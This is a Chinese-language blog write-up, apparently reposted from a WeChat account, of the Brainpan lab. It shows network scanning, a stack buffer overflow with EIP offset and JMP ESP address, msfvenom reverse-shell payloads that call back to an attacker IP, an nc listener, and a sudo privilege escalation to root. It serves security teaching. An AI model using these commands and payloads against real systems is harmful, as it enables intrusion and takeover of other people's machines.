实战缓冲区溢出漏洞攻击:从信息收集到成功提权

admin 2025年2月7日02:35:50评论11 views字数 1801阅读6分0秒阅读模式

实战缓冲区溢出漏洞攻击:从信息收集到成功提权

今天带大家深入网络安全的实战领域

来一场刺激的缓冲区溢出漏洞利用之旅

咱们以Brainpan程序为例,一步步揭开漏洞攻击的神秘面纱,但这仅仅是用于学习交流,可别拿去干坏事哦!

一、信息收集:摸清目标底细

(一)扫描网段找目标

咱先用nmap -sP 192.168.20.0/24扫描网段,这就好比在一片区域里挨家挨户敲门,看看哪些“房子”(主机)是有人(开机)的。扫描后发现了网关、靶机、本地攻击机等的IP地址,确定了咱们的攻击目标是192.168.20.128

实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(二)扫描端口探服务

接着用nmap -sV -p- 192.168.20.128扫描目标端口,这一步能知道目标主机上都开了哪些“门”(端口),以及门后面运行着什么“服务”。扫描结果显示,9999端口和10000端口是开放的,9999端口对应的服务不太明确,10000端口运行着一个简单的HTTP服务。

实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(三)访问Web找线索

访问http://192.168.20.128:9999/,发现是个登录系统,但在浏览器上没法交互。再访问http://192.168.20.128:10000/,没找到啥有用信息。不过用dirb http://192.168.20.128:10000/枚举目录后,发现了/bin目录,还找到了brainpan.exe程序,这可是个关键线索!

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

二、缓冲溢出攻击:步步深入

(一)调试程序找漏洞

brainpan.exe拿到Windows 10 32位虚拟机上运行,同时打开Immunity Debugger调试器并导入这个程序的进程。这就像给程序做“体检”,能看到程序内部的各种情况。

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(二)生成脏数据测漏洞

用Python生成一大串相同字符(比如print('A' * 600)),通过nc 192.168.20.128 9999连接到目标端口后注入这些数据,程序瞬间崩溃。查看调试器,发现EIP被覆盖了,这说明程序存在缓冲区溢出漏洞。

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(三)确定偏移量

为了精准定位EIP的位置,用msf - pattern_create -l 600生成随机脏数据,再次注入。通过msf - pattern_offset -l 600 -q 覆盖EIP的值计算出偏移量是524。这样,我们就能精准控制EIP了。

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(四)测试溢出数据量和坏字符

测试能溢出多少数据,计划用1000字符,结果发现还能注入472字节。接着用Python脚本注入包含各种字符的字符串来识别坏字符,在调试器里查看ESP的值,发现没有坏字符,这为我们后续构造攻击代码提供了便利。

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(五)定位JMP ESP指令

在kali里用msf - nasm_shelljmp esp转换成十六进制FFE4,再用!mona find -s "xffxe4" -m "brainpan.exe"在程序进程里找到这个指令的地址0x311712f3,因为CPU读取地址是倒着读的,所以写入时要翻转成xf3x12x17x31

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(六)构建并注入payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" EXITFUNC=thread生成反弹shell的代码,把这些代码和之前确定的偏移量、JMP ESP地址等组合成payload,通过Python脚本注入到程序里。在kali里用nc -lnvvp 8888监听端口,成功反弹shell,拿到了目标系统的权限!

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

三、后续渗透:扩大战果

(一)收集系统信息

nmap -O 192.168.20.128收集系统类型,得知目标系统是Linux 2.6.32 - 3.10。然后针对这个系统,用msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" -e x86/shikata_ga_nai生成新的反弹shell代码,再次注入并成功拿到shell。

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

(二)提权操作

查看sudo -l,发现可以免密使用/home/anansi/bin/anansi_util这个命令。尝试运行这个命令并添加不同参数,最后通过sudo /home/anansi/bin/anansi_util manual ls成功提权,拿到了root权限!

实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权
实战缓冲区溢出漏洞攻击:从信息收集到成功提权

原文始发于微信公众号(泷羽Sec-边酱):实战缓冲区溢出漏洞攻击:从信息收集到成功提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月7日02:35:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战缓冲区溢出漏洞攻击:从信息收集到成功提权http://cn-sec.com/archives/3706987.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息